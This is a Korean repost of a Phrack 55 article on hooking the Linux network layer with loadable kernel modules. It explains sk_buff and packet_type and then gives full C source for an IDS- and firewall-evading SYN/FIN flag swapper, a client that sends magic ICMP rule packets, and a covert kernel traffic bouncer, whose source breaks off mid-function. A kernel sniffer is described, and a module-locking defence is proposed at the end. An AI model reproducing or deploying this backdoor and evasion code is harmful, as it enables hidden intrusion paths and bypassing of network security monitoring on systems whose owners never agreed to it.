|
[정보보안,정보보안전문가,해킹,해커]Building Into The Linux Network Layer | 정보보안
[정보보안,정보보안전문가,해킹,해커]Building Into The Linux Network Layer | 정보보안
[정보보안,정보보안전문가,해킹,해커]Building Into The Linux Network Layer | 정보보안
----[ 소개
아시다시피, 리눅스 커널은 단일 아키텍처를 지니고 있다. 이 말은 기본적으로
커널에 의해서 실행되는 모든 코드가 커널 메모리에 올라가야 한다는 말이다.
새로운 하드웨어 지원을 추가하고 그에 대한 드라이버를 추가할 때마다 커널을
새로 빌드해야 하는 문제점을 해결하기 위해서, 리누스 토발즈와 그 일당(the
gang)들은 현재 우리가 애용하게 된 적재 가능 모듈의 개념을 잡았으니, 이것이
리눅스 커널 모듈(linux kernel modules; 줄여서 lkm)이다. 이 문서는 네트워킹
레이어 내에서 lkm을 이용함으로써 얻을 수 있는 갖가지 흥미로운 것들을 짚어보는
것에서 출발하여, 커널 뒷구멍 파기(kernel backdooring)에 대한 해결책을 제시하는
것으로 끝마칠 것이다.
----[ 소켓 커널 버퍼
TCP/IP는 레이어로 나뉜 프로토콜 집합이다. 이것은 커널이 패킷을 정확히 해석하고
소켓에 접속하기 위하여 서로 다른 패킷 레이어 사이의 처리 함수를 필요로 한다는
것을 뜻한다. 첫째로, 커널은 링크 레이어를 다루는 루틴을 필요로 하고, 처리 후에
IP 레이어 처리 루틴, 전송(transport) 레이어 루틴 등으로 패킷을 전달하는 루틴도
필요로 한다. 그리고 각 프로토콜은 패킷을 처리함과 동시에 서로 통신할 수 있어야
한다. 리눅스 환경에서 이러한 요청에 대한 응답을 처리하는 것이 소켓 커널
버퍼(sk_buff)이다. 이 구조체는 서로 다른 프로토콜 레이어 사이, 그리고 네트워크
디바이스 드라이버 사이에서 데이터를 주고 받는 데에 쓰인다.
sk_buff{} 구조체는 다음과 같다.(가장 중요한 아이템만 표시했다. 더 자세한
내용을 알고 싶으면 linux/include/linux/skbuff.h 파일을 보자.)
sk_buff{}
--------+
next |
--------|
prev |
--------|
dev |
--------|
|
--------|
--------|
head |---+
--------| |
data |---|---+
--------| | |
tail |---|---|---+
--------| | | |
end |---|---|---|---+
--------|<--+ | | |
| | | |
--------|<------+ | |
다루어질| | |
패킷 | | |
| | |
--------|<----------+ |
| |
| |
| |
--------+<--------------+
next: 다음 sk_buff{} 구조체를 가리키는 포인터.
prev: 이전 sk_buff{} 구조체를 가리키는 포인터.
dev: 현재 사용 중인 디바이스.
head: 이 패킷을 담고 있는 버퍼의 시작점을 가리키는 포인터.
data: 프로토콜 데이터의 실제 시작점을 가리키는 포인터. 어떤 프로토콜 레이어를
쓰고 있느냐에 따라 달라질 수 있다.
tail: 프로토콜 데이터의 끝을 가리키는 포인터. 역시 sk_buff가 어떤 프로토콜
레이어를 쓰고 있느냐에 따라 달라질 수 있다.
end: 이 패킷을 담고 있는 버퍼의 끝을 가리키는 포인터. 고정값.
더 재미있게, 다음 상황을 생각해보자:
- 호스트 A가 호스트 B에 패킷을 보낸다.
- 호스트 B는 정상적인 네트워크 디바이스를 통하여 패킷을 받는다.
- 네트워크 디바이스는 데이터를 sk_buff 데이터 구조로 변환한다.
- 이 데이터 구조가 백로그 큐(backlog queue)에 추가된다.
- 스케줄러가 패킷을 어떤 프로토콜 레이어로 전달할지 결정한다.
따라서, 한가지 질문이 생긴다... 스케줄러는 데이터를 어떤 프로토콜로
전달할지를 어떻게 결정하는가? 각 프로토콜은 packet_type{} 데이터 구조에
등록되어 있고, packet_type{}은 ptype_all 리스트 또는 ptype_base 해시 테이블에
의해 유지된다. packet_type{} 데이터 구조는 프로토콜 타입, 네트워크 디바이스,
프로토콜 전달 데이터 처리 루틴에 대한 포인터, 그리고 다음 packet_type{} 구조에
대한 포인터를 담고 있다. 네트워크 핸들러는 들어오는 패킷(sk_buff 형태)의
프로토콜 타입 하나와 packet_type{} 구조체 하나 이상을 서로 대응시킨다.
그러면 sk_buff는 대응하는 프로토콜의 핸들링 루틴으로 넘어간다.
----[ The Hack
우리가 할 일은 packet_type{} 데이터 구조를 등록시켜 디바이스 드라이버로부터
나온 직후에 들어오는 모든 패킷(sk_buff 형태)을 다룰 수 있는 커널 모듈을 짜는
것이다. 생각보다는 쉽다. packet_type{} 구조체를 채우고 그것을 커널 외부 함수
dev_add_pack()를 써서 등록한다. 핸들러는 디바이스 드라이버와 다음 루틴 핸들러
(바로 직전에는 첫번째였던 핸들러) 사이에 놓이게 된다. 이것은 디바이스
드라이버로부터 오는 모든 sk_buff가 첫번째로 패킷 핸들러를 통과해야 한다는
것을 의미한다.
----[ 예제
실제 상황의 세가지 예제를 보인다. 프로토콜 변이 레이어, 커널 레벨 패킷 바운서,
그리고 커널 레벨 패킷 스니퍼이다.
----[ OTP (Obscure Transport Protocol)
첫번째 예제는 매우 간단하다.(그리고 재미있다.) 클라이언트-서버 환경에서
작동하며, 두 개의 모듈을 올려야 한다. 하나는 클라이언트 쪽에 올리고, 다른
하나는 서버 쪽에 올린다. 클라이언트 모듈은 SYN 플래그를 달고 있는 TCP 패킷을
모두 잡아내어 SYN 플래그를 FIN 플래그로 바꾼다. 서버 모듈은 정확히 반대 역할을
하여 FIN 플래그를 SYN 플래그로 바꾼다. 재미있는 점은, 양측 모두 통상적인
접속이 물밑에서 이루어지고 있지만 네트워크 상에서 그것을 감지할 때에는
비정상적으로 보인다는 점이다. 포트와 출발지 주소에 대해서도 마찬가지이다.
네트워크로부터 찾아낸 예제를 하나 보자.
다음 시나리오를 생각해 보자. 'doubt'라는 호스트가 'hardbitten'이라는 호스트에
텔넷 접속을 하려 한다. 서버와 클라이언트 측에 모두 우리의 모듈을 올리고
23번 포트와 80번 포트를 바꾸고 SYN을 FIN으로, FIN을 SYN으로 바꾼다.
[lifeline@doubt ITP]$ telnet hardbitten
통상적인 접속(모듈을 올리지 않은 상태)은 다음과 같다:
03:29:56.766445 doubt.1025 > hardbitten.23: tcp (SYN)
03:29:56.766580 hardbitten.23 > doubt.1025: tcp (SYN ACK)
03:29:56.766637 doubt.1025 > hardbitten.23: tcp (ACK)
(초기 접속 요청, 즉 3-way 핸드셰이크이다.)
이제 모듈을 올리고 같은 절차를 반복했다. 네트워크를 관찰하면 접속이 다음과
같이 보일 것이다.
03:35:30.576331 doubt.1025 > hardbitten.80: tcp (FIN)
03:35:30.576440 hardbitten.80 > doubt.1025: tcp (FIN ACK)
03:35:30.576587 doubt.1025 > hardbitten.80: tcp (ACK)
무슨 일이 일어났느냐 하면, 'doubt'가 'hardbitten'에 대해 성공적으로 텔넷
세션을 요청했다. 대부분의 IDS와 방화벽 정책을 교묘히 빠져나갈 수 있는 멋진
방법이다. 이것도 아주 재미있다. :-)
아, 한가지 문제점이 있다. TCP 접속을 종료할 때에 위에서 말했듯이 FIN이
SYN으로 바뀌는 것이다. 이를 해결하기 위한 쉬운 방법이 있는데, 소켓이
TCP_LISTEN, TCP_SYN_SENT, 또는 TCP_SYN_RECV 상태일 때에는 lkm이 플래그를
또다시 바꾸도록 만드는 것이다. "스크립트 키디"에 의해 악용되지 않기 위해서
이것을 직접 구현하지는 않았다. 내가 너무 바빠서이기도 하고 너무 게을러서이기도
하다. 그러나 어렵지는 않을테니 한번 해보도록. 당신을 믿는다.
----[ 커널 트래픽 바운서
이 패킷 중계 도구는 이 시점에서 주로 개념을 증명하기 위한 것이다. 앞의 예제와
결합되면 특히 흥미롭다. 들어오는 모든 패킷을 지켜보고 있는 'medusa'라는
호스트에 모듈을 올린다. 'hydra'라는 대상 호스트는 'medusa'로부터 텔넷 접속만
받아들인다. 그러나 'medusa'에 로그인하는 것은 이미 root가 로그인한 상태이므로
너무 위험하다. 하지만 걱정 없다. 매직 쿠키 또는 암호와 출발지, 도착지의 IP,
포트 번호의 쌍(출발지 IP:출발지 포트, 도착지 IP:도착지 포트)을 포함하는
ICMP_ECHO_REQUEST 패킷을 전송하면 된다. 출발지 포트를 생략해도 별 문제는 없다.
(바로 아래의 예제에서도 그렇게 할 것이다.) 우리가 올린 모듈은 이 쿠키를
받아들여 처리할 것이다. `출발지 IP:출발지 포트'에서 `medusa:도착지 포트'로
가는 패킷은 모두 `도착지 IP:도착지 포트'로 전송되는 것을 볼 수 있다.
다음 예제는 이 과정을 멋지게 보여준다.
- 호스트 medusa에는 바운서 모듈이 설치되어 있다.
- 호스트 medusa는 <출발지 IP:출발지 포트, 도착지 IP:도착지 포트> 형태의
매직 ICMP 패킷을 받아들인다.
- `출발지 IP:출발지 포트'로부터 호스트 medusa로 도착지 포트 번호와 함께
전송되는 모든 패킷은 도착지 IP로 라우트될 것이고, 그 반대의 경우도
마찬가지이다. 패킷은 medusa의 스택 나머지 공간에서 처리되지는 않는다.
위에서 밝혔듯이, 코드 예제에서는 바운서에 보내는 정보 중에서 출발지 포트
정보를 없애 버렸다. 따라서 모든 출발지 포트 번호에 대해 패킷을 받아들일 것이다.
이것은 매우 위험하다: 아래와 같은 바운싱 규칙을 호스트 'medusa'에 적용시켰다고
생각해보자.
<intruder, hydra:23>
그리고 'medusa'로부터 'hydra'로 텔넷 접속해보자. 안될 것이다. hydra로부터
돌아오는 모든 패킷이 'intruder'로 전송될테니 말이다. 따라서 텔넷을 실행시킨
사용자에게는 어떠한 응답도 보이지 않는다. 침입자(Intruder)는 접속을 시작하지도
않았으니, 보나마나 패킷을 무시할 것이다. 출발지 포트를 규칙에 사용하면 이러한
위험을 줄일 수 있지만, 우리의 바운싱 규칙에 사용한 출발지 포트와 같은 포트를
medusa 내의 어떤 사용자가 쓰고 있을 가능성은 여전히 남아 있다.(커널 소스의
마스커레이딩 코드를 살펴보자.)
부연 설명하자면, 이 기법은 거의 모든 프로토콜에 사용될 수 있다. 포트
abstraction(UDP/TCP)이 없는 프로토콜에서도 말이다. ICMP 바운싱조차도 쿠키를
이용하여 할 수 있다. IP 마스커레이딩보다 더 저수준의 접근법이고, 내 의견으로는
더 좋은 접근법이다. :)
바운서에 관한 쟁점:
- 출발지 포트 모호성. 내 의견으로는, 이것을 해결하려면 출발지 포트 없이 규칙을
받아들이고, SYN 패킷이 바운서에 도착한 후에 출발지 포트를 규칙에 추가하는
것이 좋다. 그러면 규칙은 접속에 대해서만 영향을 끼칠 것이다. 출발지 포트는
RST 또는 패킷 타임아웃 대기 시그널에 의해 삭제될 것이다.
- 규칙에 타임아웃을 설정하지 말자.
- 바운서는 IP 파편(fragment)을 다루지 말도록 하자.
물론 더 커다란 쟁점이 존재한다. 디바이스를 통해 패킷을 전송하는 출발지를
생각해 보자. 라우터에게는 좋지 않은 상황이다. 이런 상황은 패킷의 출발지
디바이스의 하드웨어 주소에 직접 접근할 방법밖에 없는 경우에 발생한다. 또다른
디바이스에 대한 라우팅을 구현하기 위해서, IP 라우팅 테이블을 참조하고 패킷을
보낼 디바이스와 도착지의 MAC 주소를 찾아야 한다.(이더넷 디바이스인 경우에.)
물론 ARP 요청이 필요할 것이다. 이것은 매우 까다로운 과정이다. 이렇게 네트워크에
의존적이면 정말 골치아파질 수 있다. TTL에 의해 expire될 때까지 두 호스트
사이에서 꼼짝 못하고 묶여 있을 수도 있고, 아니면 네트워크 트래픽 과잉이
발생할 때까지 무사히 빠져나오지 못할 수도 있다.
----[ 커널 기반 스니퍼
개념 도구의 또다른 예제인 스니퍼는 바운서보다 더 간단하다. 모든 프로토콜
핸들러를 제쳐두고 소켓 버퍼 핸들러를 쓰며, TCP 패킷을 관찰하여 파일에 기록한다.
물론 몇가지 어려움이 존재한다. 서로 다른 접속으로부터 패킷을 확인할 수 있어야
하고, 정상적인 결과를 얻기 위하여 TCP 패킷의 시퀀스 혼선(out-of-sequence)을
바로잡아야 한다. 이것은 특히 텔넷 접속의 경우에 더욱 고약하다.
(타임아웃 특성은 빠져 있다. 그리고 하나 이상의 접속을 동시에 스니핑하는
기능도 마찬가지이다. (조금 어렵다.) )
이론적으로, 모듈은 모든 결과값을 커널 메모리에 저장하고 우리에게 넘겨주어야
한다.(우리가 원하면 특별한 패킷으로 보낼 것이다.) 그러나 이 글은 개념 증명이고,
완벽한 "스크립트 키디" 문서가 아니기 때문에, 현명한 독자 여러분이 코드를
개선하고, 배우고, 실제로 실행해보시길 바란다. :)
----[ 커널 해킹에 대한 해결책
자, 커널 이리저리 곯려주는 게 재미있는가? 비극을 끝내자. 리눅스 커널은 당신의
친구이다! :) /dev/kmem을 이용한 커널 패치에 대한 Silvio의 훌륭한 문서를
읽어보았다. 이제 모듈 지원 없이 커널을 컴파일하는 것만으로는 해결되지 않는다.
한가지 아이디어를 제시한다. 코드 짜기도 정말 쉽다. 하나의 모듈인데,(물론 아까
얘기한 모듈과는 다른 것이다.) 커널에 올라가면 다른 모듈이 더이상 올라오지
못하게 막고, /dev/kmem을 읽기전용 디바이스로 바꾸어버리는 모듈이다.(커널
메모리는 ring 0 권한이 있어야만 접근할 수 있다.) 따라서 커널 루틴이 외부에
의해 접근 가능해지지 않는 한, 커널 메모리를 건드릴 수 있는 것은 오직 커널
뿐이다. 이것이 결코 새로운 개념이 아니라는 것을 독자 여러분은 알아야 한다.
Securelevel은 커널 2.0.x에 조금 구현되어 있고, /dev/kmem, /dev/mem, /dev/hd*
와 같은 핵심 디바이스에 직접 쓰지 못하게 하는 멋진 기능을 지니고 있다.
2.2.x에는 구현되어 있지 않기 때문에, 설명한 바와 같이 모듈로서 존재하는 것이
좋을 것이다. 관리자가 모듈을 올리면서 시스템 보안을 조금 더 강화하고 싶다면,
방금 설명한 모듈 'lock'을 올리면 된다. 그럼 더 이상의 커널 해킹은 없다. 이것은
물론 다른 방법과 병행되어야 한다. 진짜 보안에 강한 시스템은 이 모듈을 올려
놓고서 커널 이미지를 플로피 디스크 드라이브와 같은 읽기전용 매체에 저장하고,
또 lilo와 같은 부트 로더를 쓰지 않을 것이다. CMOS 데이터 보안도 고려할 필요가
있다. 그러면 플로피를 이용하여 부트하면 된다. 최근 IRC(liquidk 채널)에서 논의된
내용과 같이, rooted 시스템에서는 CMOS 보안이 어려워보일 수 있다. 하지만, 그것은
이 글의 주제에서 벗어난다. 이 아이디어는 모듈을 사용하지 않고 커널 내부에서
바로 구현 가능할 것이다. 2.2.x에서 매우 안전한 레벨까지 구현되어 이 기능을 볼
수 있기를 기대한다. :)
----[ 참고자료
+ The Linux Kernel by David A. Rusling
+ TCP/IP Illustrated, Volume 1 by W. Richard Stevens (Addison Wesley)
+ Phrack Issue 52, article 18 (P52-18) by plaguez.
+ Windows 98 Unleashed by Stev...오, 이런. 이 책일리가 없는데... :-)
----[ 사례
두 저자 모두 아래 분들에게 감사드립니다:
+ HPT (http://www.hackers-pt.org)의 수많은 멍청이들(헤헤).
+ pmsac@toxyn.org 커널 기반 스니퍼에 대한 아이디어 제공과 지원에 대해.
+ LiquidK OTP 개념과 우리의 '무적' 개념 몇개를 제공해주신 것에 대해. :)
+ 포르투갈의 leet hackers 모두에게. 누군지 다 아실 겁니다.
The scene shall be one again!! :)
----[ 코드: OTP
<++> P55/Linux-lkm/OTP/otp.c !bf8d47e0
/*
* Obscure Transport Protocol
*
* Goal: Change TCP behavior to evade IDS and firewall policies.
*
* lifeline (c) 1999
* <arai@hackers-pt.org>
*
* gcc -O6 -c otp.c -I/usr/src/linux/include
* insmod otp.o dev=eth0 ip=123.123.123.123
*
* In ip= use only numerical dotted ip's!!
* Btw, this is the ip of the other machine that also has the module.
*
* Load this module in both machines putting in the ip= argument each other's
* machine numerical dotted ip.
*
* Oh, and don't even think about flaming me if this fucks up your machine,
* it works fine on mine with kernel 2.2.5.
* This tool stands on its own. I'm not responsible for any damage caused by it.
*
* You will probably want to make some arrangements with the #define's below.
*
*/
#define MODULE
#define __KERNEL__
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/byteorder/generic.h>
#include <linux/netdevice.h>
#include <net/protocol.h>
#include <net/pkt_sched.h>
#include <net/tcp.h>
#include <net/ip.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/skbuff.h>
#include <linux/icmp.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/file.h>
#include <asm/uaccess.h>
/* Define here if you want to swap ports also */
#define REALPORT 23 /* port you which to communicate */
#define FAKEPORT 80 /* port that appears on the wire */
char *dev, *ip;
MODULE_PARM(dev, "s");
MODULE_PARM(ip, "s");
struct device *d;
struct packet_type otp_proto;
__u32 in_aton(const char *);
/* Packet Handler Function */
int otp_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) {
unsigned long int magic_ip;
unsigned int fin = skb->h.th->fin;
unsigned int syn = skb->h.th->syn;
magic_ip = in_aton(ip);
if ((skb->pkt_type == PACKET_HOST || skb->pkt_type == PACKET_OUTGOING)
&& (skb->nh.iph->saddr == magic_ip || skb->nh.iph->daddr == magic_ip)
&& (skb->h.th->source == FAKEPORT) || (skb->h.th->dest == FAKEPORT)) {
if (skb->h.th->source == FAKEPORT) skb->h.th->source = htons(REALPORT);
if (skb->h.th->dest == FAKEPORT) skb->h.th->dest = htons(REALPORT);
if (skb->h.th->fin == 1) {
skb->h.th->fin = 0;
skb->h.th->syn = 1;
goto bye;
}
if (skb->h.th->syn == 1) {
skb->h.th->fin = 1;
skb->h.th->syn = 0;
}
}
bye:
kfree_skb(skb);
return 0;
}
/*
* Convert an ASCII string to binary IP.
*/
__u32 in_aton(const char *str) {
unsigned long l;
unsigned int val;
int i;
l = 0;
for (i = 0; i < 4; i++) {
l <<= 8;
if (*str != '\0') {
val = 0;
while (*str != '\0' && *str != '.') {
val *= 10;
val += *str - '0';
str++;
}
l |= val;
if (*str != '\0')
str++;
}
}
return(htonl(l));
}
int init_module() {
if(!ip) {
printk("Error: missing end-host ip.\n");
printk("Usage: insmod otp.o ip=x.x.x.x [dev=devname]\n\n");
return -ENXIO;
}
if (dev) {
d = dev_get(dev);
if (!d) {
printk("Did not find device %s!\n", dev);
printk("Using all known devices...");
}
else {
printk("Using device %s, ifindex: %i\n",
dev, d->ifindex);
otp_proto.dev = d;
}
}
else
printk("Using all known devices(wildcarded)...\n");
otp_proto.type = htons(ETH_P_ALL);
otp_proto.func = otp_func;
dev_add_pack(&otp_proto);
return(0);
}
void cleanup_module() {
dev_remove_pack(&otp_proto);
printk("OTP unloaded\n");
}
<-->
<++> P55/Linux-lkm/Bouncer/brules.c !677bd859
/*
* Kernel Bouncer - Rules Client
* brules.c
*
* lifeline|arai (c) 1999
* arai@hackers-pt.org
*
* Btw, needs libnet (http://www.packetfactory.net/libnet).
* Be sure to use 0.99d or later or this won't work due to a bug in previous versions.
*
* Compile: gcc brules.c -lnet -o brules
* Usage: ./brules srcaddr dstaddr password srcaddr-rule dstaddr-rule dstport-rule protocol-rule
*
* srcaddr - source address
* dstaddr - destination adress (host with the bouncer loaded)
* password - magic string for authentication with module
* srcaddr-rule - source address of new bouncing rule
* dstaddr-rule - destination address of new bouncing rule
* dstport-rule - destination port of new bouncing rule
* protocol-rule - protocol of new bouncing rule (tcp, udp or icmp), 0 deletes all existing rules
*
* Example:
* # ./brules 195.138.10.10 host.domain.com lifeline 192.10.10.10 202.10.10.10 23 tcp
*
* This well tell 'host.domain.com' to redirect all connections to port 23
* from '192.10.10.10', using TCP as the transport protocol, to the same port,
* using the same protocol, of host '202.10.10.10'.
* Of course, host.domain.com has to be with the module loaded.
*
* Copyright (c) 1999 lifeline <arai@hackers-pt.org>
* All rights reserved.
*
*/
#include <stdio.h>
#include <libnet.h>
#define MAGIC_STR argv[3]
int main(int argc, char **argv) {
struct rule {
u_long srcaddr, dstaddr;
u_char protocol;
u_short destp;
struct rule *next;
} *rules;
unsigned char *buf;
u_char *payload;
int c, sd, payload_s={0};
if (argc != 8) {
printf("Kernel Bouncer - Rules Client\n");
printf("arai|lifeline (c) 1999\n\n");
printf("Thanks to Kossak for the original idea.\n");
printf("Usage: %s srcaddr dstaddr password srcaddr-rule dstaddr-rule dstport-rule protocol-rule\n", argv[0]);
exit(0);
}
rules = (struct rule *)malloc(sizeof(struct rule));
rules->srcaddr = libnet_name_resolve(argv[4], 1);
rules->dstaddr = libnet_name_resolve(argv[5], 1);
rules->destp = htons(atoi(argv[6]));
rules->protocol = atoi(argv[7]);
if(strcmp(argv[7], "tcp")==0)rules->protocol = IPPROTO_TCP;
if(strcmp(argv[7], "udp")==0)rules->protocol = IPPROTO_UDP;
if(strcmp(argv[7], "icmp")==0)rules->protocol = IPPROTO_ICMP;
rules->next = 0;
payload = (u_char *)malloc(strlen(MAGIC_STR) + sizeof(struct rule));
memcpy(payload, MAGIC_STR, strlen(MAGIC_STR));
memcpy((struct rule *)(payload + strlen(MAGIC_STR)), rules, sizeof(struct rule));
payload_s = strlen(MAGIC_STR) + sizeof(struct rule);
buf = malloc(8 + IP_H + payload_s);
if((sd = open_raw_sock(IPPROTO_RAW)) == -1) {
fprintf(stderr, "Cannot create socket\n");
exit(EXIT_FAILURE);
}
libnet_build_ip(8 + payload_s, 0, 440, 0, 64,
IPPROTO_ICMP, name_resolve(argv[1], 1),
name_resolve(argv[2], 1), NULL, 0, buf);
build_icmp_echo(8, 0, 242, 55, payload, payload_s, buf + IP_H);
if(libnet_do_checksum(buf, IPPROTO_ICMP, 8 + payload_s) == -1) {
fprintf(stderr, "Can't do checksum, packet may be invalid.\n");
}
#ifdef DEBUG
printf("type -> %d\n", *(buf+20));
printf("code -> %d\n", *(buf+20+1));
printf("checksum -> %d\n", *(buf+20+2));
#endif
c = write_ip(sd, buf, 8 + IP_H + payload_s);
if (c < 8 + IP_H + payload_s) {
fprintf(stderr, "Error writing packet.\n");
exit(EXIT_FAILURE);
}
#ifdef DEBUG
printf("%s : %p\n", buf+28, buf+28);
#endif
printf("Kernel Bouncer - Rules Client\n");
printf("lifeline|arai (c) 1999\n\n");
printf("Rules packet sent to %s.\n", argv[2]);
free(rules);
free(payload);
free(buf);
}
<-->
<++> P55/Linux-lkm/Bouncer/bouncer.c !f3ea817c
/*
* krnbouncer.c - A kernel based bouncer module
*
* by kossak
* kossak@hackers-pt.org || http://www.hackers-pt.org/kossak
*
* This file is licensed by the GNU General Public License.
*
* Tested on a 2.2.5 kernel. Should compile on others with minimum fuss.
* However, I'm not responsible for setting fire on your computer, loss of
* mental health, bla bla bla...
*
* CREDITS: - Plaguez and Halflife for an excelent phrack article on
* kernel modules.
* - the kernel developers for a great job (no irony intended).
*
* USAGE: gcc -O2 -DDEBUG -c krnbouncer.c -I/usr/src/linux/include ;
* insmod krnsniff.o [dev=<device>]
*
* TODO : - manage to send a packet thru another device than the one
* the packet is originating from (difficult, but not important)
* - implement a timeout for the bounce rules
* - the rules should store a source port for checking the
* connection (important)
* - turn this into a totally protocol independent IP based
* bouncer (quite a challenge :))
*
* NOTE : don't try to use this module to bounce connections of different
* types, such as bouncing packets from a ppp device to an ethernet
* device and vice-versa. That was not tested and may crash your
* machine.
*/
#define MODULE
#define __KERNEL__
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/byteorder/generic.h>
#include <linux/netdevice.h>
#include <net/protocol.h>
#include <net/pkt_sched.h>
#include <net/tcp.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/skbuff.h>
#include <linux/icmp.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/file.h>
#include <asm/uaccess.h>
#include <linux/time.h>
#define DBGPRN1(X) if (debug) printk(KERN_DEBUG X)
#define DBGPRN2(X,Y) if (debug) printk(KERN_DEBUG X, Y);
#define DBGPRN3(X,Y,Z) if (debug) printk(KERN_DEBUG X, Y, Z);
#define DBGPRN4(X,Y,Z,W) if (debug) printk(KERN_DEBUG X, Y, Z, W);
#define DBGPRN5(X,Y,Z,W,V) if (debug) printk(KERN_DEBUG X, Y, Z, W, V);
#define TRUE -1
#define FALSE 0
#define MAXRULES 8 /* Max bouncing rules. */
#define RULEPASS "kossak"
/*
#define SOURCEIP "a.b.c.d"
#define DESTIP "e.f.g.h"
*/
/* global data */
int debug, errno;
struct rule {
__u32 source, dest;
__u8 proto;
__u16 destp; /* TCP and UDP only */
struct rule *next;
};
/* this is a linked list */
struct rule *first_rule;
char *dev;
MODULE_PARM(dev, "s"); /* gets the parameter dev=<devname> */
struct device *d;
struct packet_type bounce_proto;
/* inicial function declarations */
char *in_ntoa(__u32 in);
__u32 in_aton(const char *str);
int filter(struct sk_buff *);
int m_strlen(char *);
char *m_memcpy(char *, char *, int);
int m_strcmp(char *, const char *);
void process_pkt_in(struct sk_buff *);
void bounce_and_send(struct sk_buff *, __u32 new_host);
void clear_bounce_rules(void);
void process_bounce_rule(struct rule *);
/* our packet handler */
int pkt_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) {
switch (skb->pkt_type) {
case PACKET_OUTGOING:
break;
case PACKET_HOST:
process_pkt_in(skb);
break;
case PACKET_OTHERHOST:
break;
default:
kfree_skb(skb);
return 0;
}
}
void bounce_and_send(struct sk_buff *skb, __u32 new_host) {
struct tcphdr *th;
struct iphdr *iph;
unsigned char dst_hw_addr[6];
unsigned short size;
int doff = 0;
int csum = 0;
int offset;
th = skb->h.th;
iph = skb->nh.iph;
skb->pkt_type = PACKET_OUTGOING; /* this packet is no longer for us */
/* we swap the ip addresses */
iph->saddr = skb->nh.iph->daddr;
iph->daddr = new_host;
size = ntohs(iph->tot_len) - (iph->ihl * 4);
doff = th->doff << 2;
/* calculate checksums again... bleh! :P */
skb->csum = 0;
csum = csum_partial(skb->h.raw + doff, size - doff, 0);
skb->csum = csum; /* data checksum */
th->check = 0;
th->check = csum_tcpudp_magic(
iph->saddr,
iph->daddr,
size,
iph->protocol,
csum_partial(skb->h.raw, doff, skb->csum)
); /* tcp or udp checksum */
ip_send_check(iph); /* ip checksum */
/* Now change the hardware MAC address and rebuild the hardware
* header. no need to allocate space in the skb, since we're dealing
* with packets coming directly from the driver, with all fields
* complete.
*/
m_memcpy(dst_hw_addr, skb->mac.ethernet->h_source, 6);
if (skb->dev->hard_header)
skb->dev->hard_header( skb,
skb->dev,
ntohs(skb->protocol),
dst_hw_addr,
skb->dev->dev_addr,
skb->len);
else
DBGPRN1("no hardware-header build routine found\n");
/* send it anyway! lets hope nothing breaks :) */
dev_queue_xmit(skb_clone(skb, GFP_ATOMIC));
}
void process_bounce_rule(struct rule *ptr) {
struct rule *new_rule;
if ( ptr->proto == 0 ) {
DBGPRN1("protocol ID is 0, clearing bounce rules...\n");
clear_bounce_rules();
}
else {
new_rule = kmalloc(sizeof(struct rule), GFP_ATOMIC);
m_memcpy ((char *)new_rule,(char *)ptr, sizeof(struct rule));
new_rule->next = NULL; /* trust no one :) */
if (!first_rule) {
first_rule = new_rule; /* not 100% efficient here... */
}
else {
ptr = first_rule;
while (ptr->next)
ptr = ptr->next;
ptr->next = new_rule;
}
}
}
/* this is untested code, dunno if kfree() works as advertised. */
void clear_bounce_rules () {
struct rule *ptr;
while (first_rule) {
ptr = first_rule->next;
kfree(first_rule);
first_rule = ptr;
}
}
void process_pkt_in(struct sk_buff *skb) {
char *data;
int i, datalen;
struct rule *ptr;
__u32 host;
/* fix some pointers */
skb->h.raw = skb->nh.raw + skb->nh.iph->ihl*4;
/* This is an icmp packet, and may contain a bouncing rule for us. */
if (skb->nh.iph->protocol == IPPROTO_ICMP) {
if (skb->h.icmph->type != ICMP_ECHO) return;
data = (skb->h.raw) + sizeof(struct icmphdr);
datalen = skb->len;
if (m_strcmp(data, RULEPASS)) {
DBGPRN1("Found a valid cookie, checking size...\n");
i = m_strlen(RULEPASS);
if (sizeof(struct rule) < datalen - i) {
DBGPRN1("Valid size, editing rules...\n");
process_bounce_rule((struct rule *)(data+i));
}
return;
}
}
ptr = first_rule;
/* search the existing rules for this packet */
while (ptr) {
if (skb->nh.iph->protocol != ptr->proto) {
ptr = ptr->next;
continue;
}
if (skb->nh.iph->saddr == ptr->source
&& skb->h.th->dest == ptr->destp) {
bounce_and_send(skb, ptr->dest);
return;
}
if (skb->nh.iph->saddr == ptr->dest
&& skb->h.th->source == ptr->destp) {
bounce_and_send(skb, ptr->source);
return;
}
ptr = ptr->next;
}
}
/* init_module */
int init_module(void) {
#ifdef DEBUG
debug = TRUE;
#else
debug = FALSE;
#endif
first_rule = NULL;
/* this is for testing purposes only
first_rule = kmalloc(sizeof(struct rule), GFP_ATOMIC);
first_rule->source = in_aton(SOURCEIP);
first_rule->dest = in_aton(DESTIP);
first_rule->proto = IPPROTO_TCP;
first_rule->destp = htons(23);
first_rule->next = NULL;
*/
if (dev) {
d = dev_get(dev);
if (!d) {
DBGPRN2("Did not find device %s!\n", dev);
DBGPRN1("Using all known devices...");
}
else {
DBGPRN3("Using device %s, ifindex: %i\n",
dev, d->ifindex);
bounce_proto.dev = d;
}
}
else
DBGPRN1("Using all known devices...\n");
bounce_proto.type = htons(ETH_P_ALL);
/* this one just gets us incoming packets */
/* bounce_proto.type = htons(ETH_P_IP); */
bounce_proto.func = pkt_func;
dev_add_pack(&bounce_proto);
return(0);
}
void cleanup_module(void) {
dev_remove_pack(&bounce_proto);
DBGPRN1("Bouncer Unloaded\n");
}
/* boring yet useful functions follow... */
/* Convert an ASCII string to binary IP. */
__u32 in_aton(const char *str) {
unsigned long l;
unsigned int val;
int i;
l = 0;
for (i = 0; i < 4; i++) {
l <<= 8;
if (*str != '\0') {
val = 0;
while (*str != '\0' && *str != '.') {
val *= 10;
val += *str - '0';
str++;
}
l |= val;
if (*str != '\0')
str++;
}
}
return(htonl(l));
}
/* the other way around. */
char *in_ntoa(__u32 in) {
static char buff[18];
char *p;
p = (char *) ∈
sprintf(buff, "%d.%d.%d.%d",
(p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255));
return(buff);
}
int m_strcmp(char *trial, const char *correct) {
char *p;
const char *i;
